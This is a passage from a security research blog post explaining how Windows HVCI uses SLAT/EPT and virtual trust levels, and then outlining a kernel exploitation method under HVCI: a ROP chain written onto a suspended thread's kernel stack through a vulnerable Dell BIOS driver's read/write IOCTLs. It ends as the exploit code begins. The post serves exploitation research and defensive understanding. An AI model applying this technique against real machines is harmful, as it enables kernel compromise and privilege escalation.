At a basic level, SLAT (EPT) allows the hypervisor to create an additional translation of memory - giving the hypervisor power to delegate memory how it sees fit.

When a virtual machine needs to access physical memory (the virtual machine could have accessed virtual memory within the VM which then was translated into physical memory under the hood), with EPT enabled, the hypervisor will tell the CPU to essentially “intercept” this request. The CPU will translate the memory the virtual machine is trying to access into actual physical memory.

The virtual machine doesn’t know the layout of the physical memory of the host OS, nor does it “see” the actual pages. The virtual machine operates on memory identically to how a normal system would - translating virtual addresses to physical addresses. However, behind the scenes, there is another technology (SLAT) which facilitates the process of taking the physical address the virtual machine thinks it is accessing and translating said physical memory into the actual physical memory on the physical computer - with the VM just operating as normal. Since the hypervisor, with SLAT enabled, is aware of both the virtual machine’s “view” of memory and the physical memory on the host - it can act as arbitrator to translate the memory the VM is accessing into the actual physical memory on the computer (we will come to a visual shortly if this is a bit confusing).

It is worth investigating why the hypervisor needs to perform this additional layer of translation in order to not only understand basic virtualization concepts - but to see how HVCI leverages SLAT for security purposes.

As an example - let’s say a virtual machine tries to access the virtual address 0x1ad0000 within the VM - which (for argument’s sake) corresponds to the physical memory address 0x1000 in the VM. Right off the bat we have to consider that all of this is happening within a virtual machine - which runs on the physical computer in a pre-defined location in memory on that physical computer (a child partition in a Hyper-V setup).

The VM can only access its own “view” of what it thinks the physical address 0x1000 is. The physical location in memory (since VMs run on a physical computer, they use the physical computer’s memory) where the VM is accessing (what it thinks is 0x1000) is likely not going to be located at 0x1000 on the physical computer itself. This can be seen below (please note that the below is just a visual representation, and may not represent things like memory fragmentation, etc.).

In the above image, the physical address of the VM located at 0x1000 is stored at the physical address of 0x4000 on the physical computer. So when the VM needs to access what it thinks is 0x1000, it actually needs to access the contents of 0x4000 on the physical computer.

This creates an issue, as the VM not only needs to compensate for “normal” paging to come to the conclusion that the virtual address in the VM, 0x1ad0000, corresponds to the physical address 0x1000 - but something needs to compensate for the fact that when the VM tries to access the physical address 0x1000 that the memory contents of 0x1000 (in context of the VM) are actually stored somewhere in the memory of the physical computer the VM is running on (in this case 0x4000).

To address this, the following happens: the VM walks the paging structures, starting with the base paging structure, PML4, in the CR3 CPU register within the VM (as is typical in “normal” memory access). Through paging, the VM would eventually come to the conclusion that the virtual address 0x1ad0000 corresponds to the physical address 0x1000. However, we know this isn’t the end of the conversion because although 0x1000 exists in context of the VM as 0x1000, that memory stored there is stored somewhere else in the physical memory of the physical computer (in this case 0x4000).

With SLAT enabled the physical address in the VM (0x1000) is treated as a guest physical address, or GPA, by the hypervisor. Virtual machines emit GPAs, which then are converted into a system physical address, or SPA, by the physical CPU. SPAs refer to the actual physical memory on the physical computer the VM(s) is/are running on.

The way this is done is through another set of paging structures called extended page tables (EPTs). The base paging structure for the extended page tables is known as the EPT PML4 structure - similarly to a “traditional” PML4 structure. As we know, the PML4 structure is used to further identify the other paging structures - which eventually lead to a 4KB-aligned physical page (on a typical Windows system). The same is true for the EPT PML4 - but instead of being used to convert a virtual address into a physical one, the EPT PML4 is the base paging structure used to map a VM-emitted guest physical address into a system physical address.

The EPT PML4 structure is referenced by a pointer known as the Extended Page Table Pointer, or EPTP. An EPTP is stored in a per-VCPU (virtual processor) structure called the Virtual Machine Control Structure, or VMCS. The VMCS holds various information, including state information about a VM and the host. The EPTP can be used to start the process of converting GPAs to SPAs for a given virtual machine. Each virtual machine has an associated EPTP.

To map guest physical addresses (GPAs) to system physical addresses (SPAs), the CPU “intercepts” a GPA emitted from a virtual machine. The CPU then takes the guest physical address (GPA) and uses the extended page table pointer (EPTP) from the VMCS structure for the virtual CPU the virtual machine is running under, and it uses the extended page tables to map the GPA to a system physical address (SPA).

The above process allows the hypervisor to map what physical memory the guest VM is actually trying to access, due to the fact the VM only has access to its own allocated address space (like when a child partition is created for the VM to run in).

The page table entries within the extended page tables are known as extended page table entries, or EPTEs. These act essentially the same as “traditional” PTEs - except for the fact that EPTEs are used to translate a GPA into an SPA - instead of translating a virtual address into a physical one (along with some other nuances). What this also means is that EPTEs are only used to describe physical memory (guest physical addresses and system physical addresses).

The reason why EPTEs only describe physical memory is pretty straightforward. The “normal” page table entries (PTEs) are already used to map virtual memory to physical memory - and they are also used to describe virtual memory. Think about a normal PTE structure - it stores some information which describes a given virtual page (readable, writable, etc.) and it also contains a page frame number (PFN) which, when multiplied by the size of a page (usually 0x1000), gives us the physical page backing the virtual memory. This means we already have a mechanism to map virtual memory to physical memory - so the EPTEs are used for GPAs and SPAs (physical memory).

Another interesting side effect of only applying EPTEs to physical memory is the fact that physical memory trumps virtual memory (we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

For instance, if a given virtual page is marked as readable/writable/executable in its PTE - but the physical page backing that virtual page is described as only readable - any attempt to execute and/or write to the page will result in an access violation. Since the EPTEs describe physical memory and are managed by the hypervisor, the hypervisor can enforce its “view” of memory leveraging EPTEs - meaning that the hypervisor ultimately can decide how a given page of RAM should be defined. This is the key tenet of HVCI.

Think back to our virtual machine to physical machine example. The VM has its own view of memory, but ultimately the hypervisor had the “supreme” view of memory. It understands where the VM thinks it is accessing and it can correlate that to the actual place in memory on the physical computer. In other words, the hypervisor contains the “ultimate” view of memory.

Now, I am fully aware a lot of information has been mentioned above. At a high level, we should walk away with the following knowledge:

  1. It is possible to isolate a virtual machine in its own address space.
  2. It is possible to abstract the physical memory that truly exists on the host operating system away from the virtual machine.
  3. Physical memory trumps virtual memory (if virtual memory is read/write and the physical memory is read-only, any write to the region will cause an access violation).
  4. EPTEs facilitate the “supreme” view of memory, and have the “final say”.

The above concepts are the basis for HVCI (which we will expand upon in the next section).

Before leaving this section of the blog post - we should recall what was said earlier about HVCI:

HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

What this means is that Virtualization-Based Security is responsible for enabling HVCI. Knowing that VBS is responsible for enabling HVCI (should it be enabled on the host operating system which, as of Windows 11 and Windows 10 “Secured Core” PCs, it is by default), the last thing we need to look at is how VBS takes advantage of all of these virtualization technologies we have touched on in order to instrument HVCI.

Virtualization-Based Security

With Virtualization-Based Security enabled, the Windows operating system runs in a “virtual machine”, of sorts. Although Windows isn’t placed into a child partition, meaning it doesn’t have a VHD, or virtual hard disk - the hypervisor, at boot, makes use of all of the aforementioned principles and technologies to isolate the “standard” Windows kernel (e.g. what the end-user interfaces with) in its own region, similarly to how a VM is isolated. This isolation is manifest through Virtual Trust Levels, or VTLs. Currently there are two Virtual Trust Levels - VTL 1, which hosts the “secure kernel” and VTL 0, which hosts the “normal kernel” - with the “normal kernel” being what end-users interact with. Both of these VTLs are located in the root partition. You can think of these two VTLs as “isolated virtual machines”.

VTLs, similarly to virtual machines, provide isolation between the two environments (in this case between the “secure kernel” and the “normal kernel”). Microsoft considers the “secure” environment, VTL 1, to be a “more privileged entity” than VTL 0 - with VTL 0 being what a normal user interfaces with.

The goal of the VTLs is to create a higher security boundary (VTL 1) where if a normal user exploits a vulnerability in the kernel of VTL 0 (where all users are executing, only Microsoft is allowed in VTL 1), they are limited to only VTL 0. Historically, however, if a user compromised the Windows kernel, there was nothing else to protect the integrity of the system - as the kernel was the highest security boundary. Now, since VTL 1 is of a “higher boundary” than VTL 0 - even if a user exploits the kernel in VTL 0, there is still a component of the system that is totally isolated (VTL 1) from where the malicious user is executing (VTL 0).

It is crucial to remember that although VTL 0 is a “lower security boundary” than VTL 1 - VTL 0 doesn’t “live” in VTL 1. VTL 0 and VTL 1 are two separate entities - just as two virtual machines are two separate entities. On the same note - it is also crucial to remember that VBS doesn’t actually create virtual machines - VBS leverages the virtualization technologies that a hypervisor may employ for virtual machines in order to isolate VTL 0 and VTL 1. Microsoft instruments these virtualization technologies in such a way that, although VTL 1 and VTL 0 are separated like virtual machines, VTL 1 is allowed to impose its “will” on VTL 0. When the system boots, and the “secure” and “normal” kernels are loaded - VTL 1 is then allowed to “ask” the hypervisor, through a mechanism called a hypercall (more on this later in the blog post), if it can “securely configure” VTL 0 (which is what the normal user will be interfacing with) in a way it sees fit, when it comes to HVCI. VTL 1 can impose its will on VTL 0 - but it goes through the hypervisor to do this. To summarize - VTL 1 isn’t the hypervisor, and VTL 0 doesn’t live in VTL 1. VTL 1 works with the hypervisor to configure VTL 0 - and all three are their own separate entities. The following image is from Windows Internals, Part 1, 7th Edition - which visualizes this concept.

We’ve talked a lot now on SLAT and VTLs - let’s see how these technologies are both used to enforce HVCI.

After the “secure” and “normal” kernels are loaded - execution eventually redirects to the entry point of the “secure” kernel, in VTL 1. The secure kernel will set up SLAT/EPT, by asking the hypervisor to create a series of extended page table entries (EPTEs) for VTL 0 through the hypercall mechanism (more on this later). We can think of this as if we are treating VTL 0 as “the guest virtual machine” - just like how the hypervisor would treat a “normal” virtual machine. The hypervisor would set up the necessary EPTEs that would be used to map the guest physical addresses generated from a virtual machine into actual physical memory (system physical addresses). However, let’s recall the architecture of the root partition when VTLs are involved.

As we can see, both VTL 1 and VTL 0 reside within the root partition. This means that, theoretically, both VTL 1 and VTL 0 have access to the physical memory on the physical computer. At this point you may be wondering - if both VTL 1 and VTL 0 reside within the same partition - how is there any separation of address space/privileges? VTL 0 and VTL 1 seem to share the same physical address space. This is where virtualization comes into play!

Microsoft leverages all of the virtualization concepts we have previously talked about, and essentially places VTL 1 and VTL 0 into “VMs” (logically speaking) in which VTL 0 is isolated from VTL 1, and VTL 1 has control over VTL 0 - with this architecture being the basis of HVCI (more on the technical details shortly).

If we treat VTL 0 as “the guest” we then can use the hypervisor and CPU to translate addresses requested from VTL 0 (the hypervisor “manages” the EPTEs but the CPU performs the actual translation). Since GPAs are “intercepted”, in order for them to be converted into SPAs, this provides a mechanism (via SLAT) to “intercept” or “gate” any memory access stemming from VTL 0.

Here is where things get very interesting. Generally speaking, the GPAs emitted by VTL 0 actually map to the same physical memory on the system.

Let’s say VTL 0 requests to access the physical address 0x1000, as a result of a virtual address within VTL 0 being translated to the physical address 0x1000. The address of the GPA, which is 0x1000, is still located at an SPA of 0x1000. This is due to the fact that virtual machines, in Hyper-V, are confined to their respective partitions - and since VTL 1 and VTL 0 live in the same partition (the root), they “share” the same physical memory address space (which is the actual physical memory on the system).

So, since EPT (with HVCI enabled) isn’t used to “find” the physical address a GPA corresponds to on the system - due to the GPAs and SPAs mapping to the same physical address - what on earth could they be used for?

Instead of using extended page table entries to traverse the extended page tables in order to map one GPA to another SPA, the EPTEs are instead used to create a “second view” of memory - with this view describing all of RAM as either readable and writable (RW) but not executable - or readable and executable - but not writable, when dealing with HVCI. This ensures that no pages exist in the kernel which are writable and executable at the same time - which is a requirement for unsigned-code!

Recall that EPTEs are used to describe each physical page. Just as a virtual machine has its own view of memory, VTL 0 also has its own view of memory, which it manages through standard, normal PTEs. The key to remember, however, is that at boot - code in VTL 1 works with the hypervisor to create EPTEs which have the true definition of memory - while the OS in VTL 0 only has its view of memory. The hypervisor’s view of memory is “supreme” - as the hypervisor is a “higher security boundary” than the kernel, which historically managed memory. This, as mentioned, essentially creates two “mappings” of the actual physical memory on the system - one is managed by the Windows kernel in VTL 0, through traditional page table entries, and the other is managed by the hypervisor using extended page table entries.

Since we know EPTEs are used to describe physical memory, this can be used to override any protections that are set by the “traditional” PTEs themselves in VTL 0. And since the hypervisor’s view of virtual memory trumps the OS (in VTL 0) view - HVCI leverages the fact that since the EPTEs are managed by a more “trusted” boundary, the hypervisor, they are immutable in context of VTL 0 - where the normal users live.

As an example, let’s say you use the !pte command in WinDbg to view the PTE for a given virtual memory address in VTL 0, and WinDbg says that page is readable, writable, and executable. However, the EPTE (which is not transparent to VTL 0) may actually describe the physical page backing that virtual address as only readable. This means the page would be only readable - even though the PTE in VTL 0 says otherwise!

HVCI leverages SLAT/EPT in order to ensure that there are no pages in VTL 0 which can be abused to execute unsigned-code (by enforcing the aforementioned principles on RWX memory). It does this by guaranteeing that code pages never become writable - or that data pages never become executable. You can think of EPTEs being used (with HVCI) to basically create an additional “mapping” of memory, with all memory being either RW- or R-X, and with this “mapping” of memory trumping the “normal” enforcement of memory through normal PTEs. The EPTE “view” of memory is the “root of trust” now. These EPTEs are managed by the hypervisor, which VTL 0 cannot touch.

We know now that the EPTEs have the “true” definition of memory - so a logical question would now be “how does the request, from the OS, to setup an EPTE work if the EPTEs are managed by the hypervisor?” As an example, let’s examine how boot-loaded drivers have their memory protected by HVCI (the process of loading runtime drivers is different - but the mechanism (which is a hypercall - more on this later), used to apply SLAT page protections remains the same for runtime drivers and boot-loaded drivers).

We know that VTL 1 performs the request for the configuration of EPTEs in order to configure VTL 0 in accordance with HVCI (no memory that is writable and executable). This means that securekernel.exe - which is the “secure kernel” running in VTL 1 - must be responsible for this. Cross referencing the VSM startup section of Windows Internals, we can observe the following:

… Starts the VTL secure memory manager, which creates the boot table mapping and maps the boot loader’s memory in VTL 1, creates the secure PFN database and system hyperspace, initializes the secure memory pool support, and reads the VTL 0 loader block to copy the module descriptors for the Secure Kernel’s imported images (Skci.dll, Cnf.sys, and Vmsvcext.sys). It finally walks the NT loaded module list to establish each driver state, creating a NAR (normal address range) data structure for each one and compiling an Normal Table Entry (NTE) for every page composing the boot driver’s sections. FURTHERMORE, THE SECURE MEMORY MANAGER INITIALIZATION FUNCTION APPLIES THE CORRECT VTL 0 SLAT PROTECTION TO EACH DRIVER’S SECTIONS.

Let’s start with the “secure memory manager initialization function” - which is securekernel!SkmmInitSystem.

securekernel!SkmmInitSystem performs a multitude of things, as seen in the quote from Windows Internals. Towards the end of the function, the memory manager initialization function calls securekernel!SkmiConfigureBootDriverPages - which eventually “applies the correct VTL 0 SLAT protection to each [boot-loaded] driver’s sections”.

There are a few code paths which can be taken within securekernel!SkmiConfigureBootDriverPages to configure the VTL 0 SLAT protection for HVCI - but the overall “gist” is:

  1. Check if HVCI is enabled (via SkmiFlags).
  2. If HVCI is enabled, apply the appropriate protection.

As mentioned in Windows Internals, each of the boot-loaded drivers has each section (.text, etc.) protected by HVCI. This is done by iterating through each section of the boot-loaded drivers and applying the correct VTL 0 permissions. In the specific code path shown below, this is done via the function securekernel!SkmiProtectSinglePage.

Notice that securekernel!SkmiProtectSinglePage has its second argument as 0x102. Examining securekernel!SkmiProtectSinglePage a bit further, we can see that this function (in the particular manner securekernel!SkmiProtectSinglePage is called within securekernel!SkmiConfigureBootDriverPages) will call securekernel!ShvlProtectContiguousPages under the hood.

securekernel!ShvlProtectContiguousPages is called because if the if ((a2 & 0x100) != 0) check is satisfied in the above function call (and it will be satisfied, because the provided argument was 0x102 - which, when bitwise AND’d with 0x100, does not equal 0), the function that will be called is securekernel!ShvlProtectContiguousPages. The last argument provided to securekernel!ShvlProtectContiguousPages is the appropriate protection mask for the VTL 0 page. Remember - this code is executing in VTL 1, and VTL 1 is allowed to configure the “true” memory permission (via EPTEs) VTL 0 as it sees fit.

securekernel!ShvlProtectContiguousPages, under the hood, invokes a function called securekernel!ShvlpProtectPages - essentially acting as a “wrapper”.

Looking deeper into securekernel!ShvlpProtectPages, we notice some interesting functions with the word “hypercall” in them.

Grabbing one of these functions (securekernel!ShvlpInitiateVariableHypercall will be used, as we will see later), we can see it is a wrapper for securekernel!HvcallpInitiateHypercall - which ends up invoking securekernel!HvcallCodeVa.

I won’t get into the internals of this function - but securekernel!HvcallCodeVa emits a vmcall assembly instruction - which is like a “Hyper-V syscall”, called a “hypercall”. This instruction will hand execution off to the hypervisor. Hypercalls can be made by both VTL 1 and VTL 0.

When a hypercall is made, the “hypercall call code” (similar to a syscall ID) is placed into RCX in the lower 16 bits. Additional values are appended in the RCX register, as defined by the Hypervisor Top-Level Functional Specification, known as the “hypercall input value”.

Each hypercall returns a “hypercall status code” - which is a 16-byte value (whereas NTSTATUS codes are 32-bit). For instance, a code of HV_STATUS_SUCCESS means that the hypercall completed successfully.

Specifically, in our case, the hypercall call code associated with securekernel!ShvlpProtectPages is 0xC.

If we cross reference this hypercall call code with the the Appendix A: Hypercall Code Reference of the TLFS - we can see that 0xC corresponds with the HvCallModifyVtlProtectionMask - which makes sense based on the operation we are trying to perform. This hypercall will “configure” an immutable memory protection (SLAT protection) on the in-scope page (in our scenario, a page within one of the boot-loaded driver’s sections), in context of VTL 0.

We can also infer, based on the above image, that this isn’t a fast call, but a rep (repeat) call. Repeat hypercalls are broken up into a “series” of hypercalls because hypercalls only have a 50 microsecond interval to finish before other components (interrupts for instance) need to be serviced. Repeated hypercalls will eventually be finished when the thread executing the hypercall resumes.

To summarize this section - with HVCI there are two views of memory - one managed by the hypervisor, and one managed by the Windows kernel through PTEs. Not only does the hypervisor’s view of memory trump the Windows kernel view of memory - but the hypervisor’s view of memory is immutable from the “normal” Windows kernel. An attacker, even with a kernel-mode write primitive, cannot modify the permissions of a page through PTE manipulation anymore.

Let’s actually get into our exploitation to test these theories out.

HVCI - Exploitation Edition

As I have blogged about before, a common way kernel-mode exploits manifest themselves is the following (leveraging an arbitrary read/write primitive):

  1. Write a kernel-mode payload to kernel mode (could be KUSER_SHARED_DATA) or user mode.
  2. Locate the page table entry that corresponds to that page the payload resides.
  3. Corrupt that page table entry to mark the page as KRWX (kernel, read, write, and execute).
  4. Overwrite a function pointer (nt!HalDispatchTable + 0x8 is a common method) with the address of your payload and trigger the function pointer to gain code execution.

HVCI is able to combat this because of the fact that a PTE is “no longer the source of truth” for what permissions that memory page actually has. Let’s look at this in detail.

As we know, KUSER_SHARED_DATA + 0x800 is a common code cave abused by adversaries (although this is not possible in future builds of Windows 11). Let’s see if we can abuse it with HVCI enabled.

Note that using Hyper-V it is possible to enable HVCI while also disabling Secure Boot. Secure Boot must be disabled for kernel debugging. After disabling Secure Boot we can then enable HVCI, which can be found in the Windows Security settings under Core Isolation -> Memory Integrity. Memory Integrity is HVCI.

Let’s then manually corrupt the PTE of 0xFFFFF78000000000 + 0x800 to make this page readable/writable/executable (RWX).

0xFFFFF78000000000 + 0x800 should now be fully readable, writable, and executable. This page is empty (doesn’t contain any code) so let’s write some NOP instructions to this page as a proof-of-concept. When 0xFFFFF78000000000 + 0x800 is executed, the NOP instructions should be dispatched.

We then can load this address into RIP to queue it for execution, which should execute our NOP instructions.

The expected outcome, however, is not what we intend. As we can see, executing the NOPs crashes the system. This is even in the case of us explicitly marking the page as KRWX. Why is this? This is due to HVCI! Since HVCI doesn’t allow RAM to be RWX, the physical page backing KUSER_SHARED_DATA + 0x800 is “managed” by the EPTE (meaning the EPTEs’ definition of the physical page is the “root of trust”). Since the EPTE is managed by the hypervisor - the original memory allocation of read/write in KUSER_SHARED_DATA + 0x800 is what this page is - even though we marked the PTE (in VTL 0) as KRWX! Remember - EPTEs are “the root of trust” in this case - and they enforce their permissions on the page - regardless of what the PTE says. The result is us trying to execute code which looks executable in the eyes of the OS (in VTL 0), because the PTE says so - but in fact, the page is not executable. Therefore we get an access violation due to the fact we are attempting to execute memory which isn’t actually executable! This is because the hypervisor’s “view” of memory, managed by the EPTEs, trumps the view our VTL 0 operating system has - which instead relies on “traditional” PTEs.

This is all fine and dandy, but what about exploits that allocate RWX user-mode code, write shellcode that will be executed in the kernel into the user-mode allocation, and then use a kernel read/write primitive, similarly to the first example in this blog post to corrupt the PTE of the user-mode page to mark it as a kernel-mode page? If this were allowed to happen - as we are only manipulating the U/S bit and not manipulating the executable bits (NX) - this would violate HVCI in a severe way - as we now have fully-executable code in the kernel that we can control the contents of.

Practically, an attacker would start by allocating some user-mode memory (via VirtualAlloc or similar APIs/C-runtime functions). The attacker marks this page as readable/writable/executable. The attacker would then write some shellcode into this allocation (usually kernel exploits use token-stealing shellcode, but other times an attacker may want to use something else). The key here to remember is that the memory is currently sitting in user mode.

This allocation is located at 0x1ad0000 in our example (U in the PTE stands for a user-mode page).

Using a kernel vulnerability, an attacker would arbitrarily read memory in kernel mode in order to resolve the PTE that corresponds to this user-mode shellcode located at 0x1ad0000. Using the kernel vulnerability, an attacker could corrupt the PTE bits to tell the memory manager that this page is now a kernel-mode page (represented by the letter K).

Lastly, using the vulnerability again, the attacker overwrites a function pointer in kernel mode that, when executed, will actually execute our user-mode code.

Now you may be thinking - “Connor, you just told me that the kernel doesn’t allow RWX memory with HVCI enabled? You just executed RWX memory in the kernel! Explain yourself!”.

Let’s first start off by understanding that all user-mode pages are represented as RWX within the EPTEs - even with HVCI enabled. After all, HVCI is there to prevent unsigned-code from being executed in the kernel. You may also be thinking - “Connor, doesn’t that violate the basic principle of DEP in user-mode?”. In this case, no it doesn’t. Recall that earlier in this blog post we said the following:

(we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

Let’s talk about that now.

Remember that HVCI is used to ensure there is no kernel-mode RWX memory. So, even though the EPTE says a user-mode page is RWX, the PTE (for a user-mode page) will enforce DEP by marking data pages as non-executable. This non-executable permission on the PTE will enforce the NX permission. Recall that we said EPTEs can “trump” PTEs - we didn’t say they always do this in 100 percent of cases. A case where the PTE is used, instead needing to “go” to the EPTE, would be DEP. If a given page is already marked as non-executable in the PTE, why would the EPTE need to be checked? The PTE itself would prevent execution of code in this page, it would be redundant to check it again in the EPTE. Instead, an example of when the EPTE is checked if a PTE is marked as executable. The EPTE is checked to ensure that page is actually executable. The PTE is the first line of defense. If something “gets around the PTE” (e.g. a page is executable) the CPU will check the EPTE to ensure the page actually is executable. This is why the EPTEs mark all user-mode pages as RWX, because the PTE itself already enforces DEP for the user-mode address space.

The EPTE structure doesn’t have a U/S bit and, therefore, relies on the current privilege level (CPL) of a processor executing code to enforce if code should be executed as kernel mode or user mode. The CPU, in this case, will rely on the standard page table entries to determine what the CPL of the code segment should be when code is executing - meaning an attacker can take advantage of the fact that user-mode pages are marked as RWX, by default, in the EPTEs, and then flip the U/S bit to a supervisor (kernel) page. The CPU will then execute the code as kernel mode.

This means that the only thing to enforce the kernel/user boundary (for code execution purposes) is the CPU (via SMEP). SMEP, as we know, essentially doesn’t allow user-mode code execution from the kernel. So, to get around this, we can use PTE corruption (as shown in my previously-linked blog on PTE overwrites) to mark a user-mode page as a kernel-mode one. When the kernel now goes to execute our shellcode it will “recognize” the shellcode page (technically in the user-mode address space) as a kernel-mode page. EPTEs don’t have a “bit” to define if a given page is kernel or user, so it relies on the already existing SMEP technology to enforce this - which uses “normal” PTEs to determine if a given page is a kernel-mode or user-mode page. Since the EPTEs are only looking at the executable permissions, and not a U/S bit - this means the “old” primitive of “tricking” the CPU into executing a “fake” kernel-mode page exists - as EPTEs still rely on the CPU to enforce this boundary. So when a given user-mode page is being executed, the EPTEs assume this is a user-mode page - and will gladly execute it. The CPU, however, has it’s code segment executing in ring 0 (kernel mode) because the PTE of the page was corrupted to mark it as a “kernel-mode” page (a la the “U/S SMEP bypass”).

To compensate for this, Intel has a hardware solution known as Mode-Based Execution Control, or MBEC. For CPUs that cannot support MBEC Microsoft has its own emulation of MBEC called Restricted User Mode, or RUM.

I won’t get into the nitty-gritty details of the nuanced differences between RUM and MBEC, but these are solutions which mitigate the exact scenario I just mentioned. Essentially what happens is that anytime execution is in the kernel on Windows, all of the user-mode pages as non-executable. Here is how this would look (please note that the EPTE “bits” are just “psuedo” EPTE bits, and are not indicative of what the EPTE bits actually look like).

First, the token-stealing payload is allocated in user-mode as RWX. The PTE is then corrupted to mark the shellcode page as a kernel-mode page.

Then, as we know, the function pointer is overwritten and execution returns to user-mode (but the code is executed in context of the kernel).

Notice what happens above. At the EPTE level (this doesn’t occur at the PTE level) the page containing the shellcode is marked as non-executable. Although the diagram shows us clearing the execute bit, the way the user-mode pages are marked as non-executable is actually done by adding an extra bit in the EPTE structure that allows the EPTE for the user-mode page to be marked as non-executable while execution is residing in the kernel (e.g. the code segment is “in ring 0”). This bit is a member of the EPTE structure that we can refer to as “ExecuteForUserMode”.

This is an efficient way to mark user-mode code pages as non-executable. When kernel-mode code execution occurs, all of the EPTEs for the user-mode pages are simply just marked as non-executable.

MBEC is really great - but what about computers which support HVCI but don’t support MBEC (which is a hardware technology)? For these cases Microsoft implemented RUM (Restricted User Mode). RUM achieves the same thing as MBEC, but in a different way. RUM essentially forces the hypervisor to keep a second set of EPTEs - with this “new” set having all user-mode pages marked as non-executable. So, essentially using the same method as loading a new PML4 address into CR3 for “normal” paging - the hypervisor can load the “second” set of extended page tables (with this “new/second” set marking all user-mode as non-executable) into use. This means each time execution transitions from kernel-mode to user-mode, the paging structures are swapped out - which increases the overhead of the system. This is why MBEC is less strenuous - as it can just mark a bit in the EPTEs. However, when MBEC is not supported - the EPTEs don’t have this ExecuteForUserMode bit - and rely on the second set of EPTEs.

At this point we have spent a lot of time talking about HVCI, MBEC, and RUM. We can come to the following conclusions now:

  1. PTE manipulation to achieve unsigned-code execution is impossible
  2. Any unsigned-code execution in the kernel is impossible

Knowing this, a different approach is needed. Let’s talk about now how we can use an arbitrary read/write primitive to our advantage to get around HVCI, MBEC/RUM, without being limited to only hot-swapping tokens for privilege escalation.

From Read/Write To Arbitrary Kernel-Mode Function Invocation

I did a writeup of a recent Dell BIOS driver vulnerability awhile ago, where I achieved unsigned-code execution in the kernel via PTE manipulation. Afterwards I tweeted out that readers should take into account that this exploit doesn’t consider VBS/HVCI. I eventually received a response from @d_olex on using a different method to take advantage of a kernel-mode vulnerability, with HVCI enabled, by essentially putting together your own kernel-mode API calls.

This was about a year ago - and I have been “chewing” on this idea for awhile. Dmytro later released a library outlining this concept.

This technique is the basis for how we will “get around” VBS/HVCI in this blog. We can essentially instrument a kernel-mode ROP chain that will allow us to call into any kernel-mode API we wish (while redirecting execution in a way that doesn’t trigger Kernel Control Flow Guard, or kCFG).

Why might we want to do this - in-lieu of the inability to execute shellcode, as a result of HVCI? The beauty of executing unsigned-code is the fact that we aren’t just limited to something like token stealing. Shellcode also provides us a way to execute arbitrary Windows API functions, or further corrupt memory. Think about something like a Cobalt Strike Beacon agent - it leverages Windows API functions for network communications, etc. - and is foundational to most malware.

Although with HVCI we can’t invoke our own shellcode in the kernel - it is still possible to “emulate” what kernel-mode shellcode may intend to do, which is calling arbitrary functions in kernel mode. Here is how we can achieve this:

  1. In our exploit, we can create a “dummy” thread in a suspended state via CreateThread.
  2. Assuming our exploit is running from a “normal” process (running in medium integrity), we can use NtQuerySystemInformation to leak the KTHREAD object associated with the suspended thread. From here we can leak KTHREAD.StackBase - which would give us the address of the kernel-mode stack in order to write to it (each thread has its own stack, and stack control is a must for a ROP chain)
  3. We can locate a return address on the stack and corrupt it with our first ROP gadget, using our kernel arbitrary write vulnerability (this gets around kCFG, or Control Flow Guard in the kernel, since kCFG doesn’t inspect backwards edge control-flow transfers like ret. However, in the future when kCET (Control-Flow Enforcement Technology in the Windows kernel) is mainstream on Windows systems, ROP will not work - and this exploit technique will be obsolete).
  4. We then can use our ROP chain in order to call an arbitrary kernel-mode API. After we have called our intended kernel mode API(s), we then end our ROP chain with a call to the kernel-mode function nt!ZwTerminateThread - which allows us to “gracefully” exit our “dummy” thread without needing to use ROP to restore the execution we hijacked.
  5. We then call ResumeThread on the suspended thread in order to kick off execution.

Again - I just want to note. This is not an “HVCI bypass” post. HVCI doesn’t not suffer from any vulnerability that this blog post intends to exploit. Instead, this blog shows an alternative method of exploitation that allows us to call any kernel-mode API without triggering HVCI.

Before continuing on - let’s just briefly touch on why we are opting to overwrite a return address on the stack instead of a function pointer - as many of my blogs have done this in the past. As we saw with my previous browser exploitation blog series, CFG is a mitigation that is pretty mainstream on Windows systems. This is true since Windows 10 RS2 - when it came to the kernel. kCFG is present on most systems today - and it is an interesting topic. The CFG bitmap consists of all “valid” functions used in control-flow transfers. The CFG dispatch functions check this bitmap when an indirect-function call happens to ensure that a function pointer is not overwritten with a malicious function. The CFG bitmap (in user mode) is protected by DEP - meaning the bitmap is read-only, so an attacker cannot modify it (the bitmap is stored in ntdll!LdrSystemDllInitBlock+0x8). We can use our kernel debugger to switch our current process to a user-mode process which loads ntdll.dll to verify this via the PTE.

This means an attacker would have to first bypass CFG (in context of a binary exploit which hijacks control-flow) in order to call an API like VirtualProtect to mark this page as writable. Since the permissions are enforced by DEP - the kernel is the security boundary which protects the CFG bitmap, as the PTE (stored in kernel mode) describes the bitmap as read-only. However, when talking about kCFG (in the kernel) there would be nothing that protects the bitmap - since historically the kernel was the highest security boundary. If an adversary has an arbitrary kernel read/write primitive - an adversary could just modify the kCFG bitmap to make everything a valid call target, since the bitmap is stored in kernel mode. This isn’t good, and means we need an “immutable” boundary to protect this bitmap. Recall, however, that with HVCI there is a higher security boundary - the hypervisor!

kCFG is only fully enabled when HVCI is enabled. SLAT is used to protect the kCFG bitmap. As we can see below, when we attempt to overwrite the bitmap, we get an access violation. This is due to the fact that although the PTE for the kCFG bitmap says it is writable, the EPTE can enforce that this page is not writable - and therefore, with kCFG, non-modifiable by an adversary.

So, since we cannot just modify the bitmap to allow us to call anywhere in the address space, and since kCFG will protect function pointers (like nt!HalDispatchTable + 0x8) and not return addresses (as we saw in the browser exploitation series) - we can simply overwrite a return address to hijack control flow. As mentioned previously, kCET will mitigate this - but looking at my current Windows 11 VM (which has a CPU that can support kCET), kCET is not enabled. This can be checked via nt!KeIsKernelCetEnabled and nt!KeIsKernelCetAuditModeEnabled (both return a boolean - which is false currently).

Now that we have talked about control-flow hijacking, let’s see how this looks practically! For this blog post we will be using the previous Dell BIOS driver exploit I talked about to demonstrate this. To understand how the arbitrary read/write primitive works, I highly recommend you read that blog first. To summarize briefly, there are IOCTLs within the driver that allow us to read one kernel-mode QWORD at a time and to write one QWORD at a time, from user mode, into kernel mode.

“Dummy Thread” Creation to KTHREAD Leak

First, our exploit begins by defining some IOCTL codes and some NTSTATUS codes.

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
